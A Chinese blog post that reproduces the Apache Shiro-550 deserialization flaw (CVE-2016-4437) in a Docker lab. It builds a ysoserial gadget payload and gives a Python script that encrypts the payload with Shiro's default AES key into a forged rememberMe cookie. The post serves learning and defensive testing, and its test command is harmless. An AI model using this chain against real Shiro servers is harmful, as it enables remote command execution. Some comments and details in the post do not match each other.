ApacheShiro反序列化 550 721漏洞

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理个漏洞被称为 Shiro550 是因为在Apache Shiro的GitHub问题跟踪器中,该漏洞最初被标记为第550个问题,721漏洞名称也是由此而来

Shiro-550 CVE-2016-4437

Shiro反序列化Docker复现

shiro550反序列化漏洞原理与漏洞复现

shiro550代码审计复现

Apache Shiro<= 1.2.4框架提供了记住我的功能RememberMe 省去用户短时间内再次登录输入账号密码;

登录成功并选择RememberMe 功能 ;Shior会将cookie值序列化字节 AES加密并base64编码存储在Cookieremeberme字段

cookie生成流程:

登录后用户信息----->序列化转化为字节---->AES对称加密---->base64编码---->存储remeberme字段cookie

勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问, 当客户端再次请求服务端时,都会带上这个服务端第一次返回设置的Set-Cookie里面的rememberMe的密文,让服务端进行身份验证

各种登录情况

漏洞原理

攻击者前期可以使用ShiroAES默认密钥或硬编码在源码中的Key[//]: # (只要rememberMe的AES加密密钥泄漏,无论Shiro什么版本都会导致反序列化漏洞,由于AES加密是对称式加密(key既能加密数据也能解密数据))伪造用户的Cookie,检索cookieremeberme字段未进行过滤操作,服务端反序列化Cookie时触发漏洞,从而执行命令

//返回包生成cookie中字段remeberme过程

登录后用户信息----->序列化转化为字节---->AES对称加密---->base64编码---->存储remeberme字段cookie

// 服务端接收cookie进行经过AES解密Base64解码最后反序列

恶意Cookie的rememberMe---->AES解密--->Base64解码---->反序列化---->执行恶意Cookie携带的命令

Docker开启环境

docker-compose up -d  // 启动容器服务

docker-compose ps  // 查看端口6379

GitHUb下载**ysosera**一个常用的Java反序列化利用工具,用于生成各种常见Java库的反序列化payload。这些payload可以被用于利用反序列化漏洞,执行恶意代码或实现攻击,下载后利用此工具选择生成针对CommonsBeanutils1库的反序列化payload,也称为gadget,工具和加密Py需要放在 同一目录下,确保生成的ser文件和脚本在同级

//  touch /tmp/succ123 命令含义是在/tmp目录下创建一个名为"saber"的空文件

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/saber" > poc.ser


**注意: **

ysoserial脚本其实是在利用构造链进行反序列化对应的命令,所以我们要找到链子
// 密匙AES加密 Base64编码后生成的rememberMe,将上方的命令进序列化加密

import sys
import uuid
import base64
from Crypto.Cipher import AES
 
def encode_rememberme():
    f = open('poc.ser','rb') // rb 表示以二进制只读模式打开文件,可以读取二进制数据而不会进行字符编码转换
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme()   
    print("rememberMe={0}".format(payload.decode()))
python shiro.py


rememberMe=8ANUo99cQgeGdjpU6YttWIYTdhAD9evj5vLGnzxbYU4dEasCg7Meb7xjRJZ/1WhXE45rheEywUAUCVVuYFzjCPDItyuRgdeVy1s3iwR01Hk/Exm/33xlXQFMpU4IbAkOdRafIz0zxzJ+OzMB6anQ0DCg8+po5wSRDntEZxwOEM+Fo7WHDz61aMJOhvOV7SAGgR1/ZvYI7IoNbvqKxv8ilqsQxj3NRH6RNWNNdMXpTNS565M1pFJh50qPozQr4i+XX1AhZnqw5DgjWW0ZKCjBFmPgg3KfELf29/mMSC18pDy25OVINP/G23M+nLyicTUzV1nhbkyfqMcVwrpeyUgukj4KiDijpj8i58Hv1D8zGL7IgFW44OhpmEb79ex7QYUXPPy8iNYBrLrp4sa35c4Ct+UBC+tvLK+wzNaRwe0RTG2PCCjl7dUMBvy8I27
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值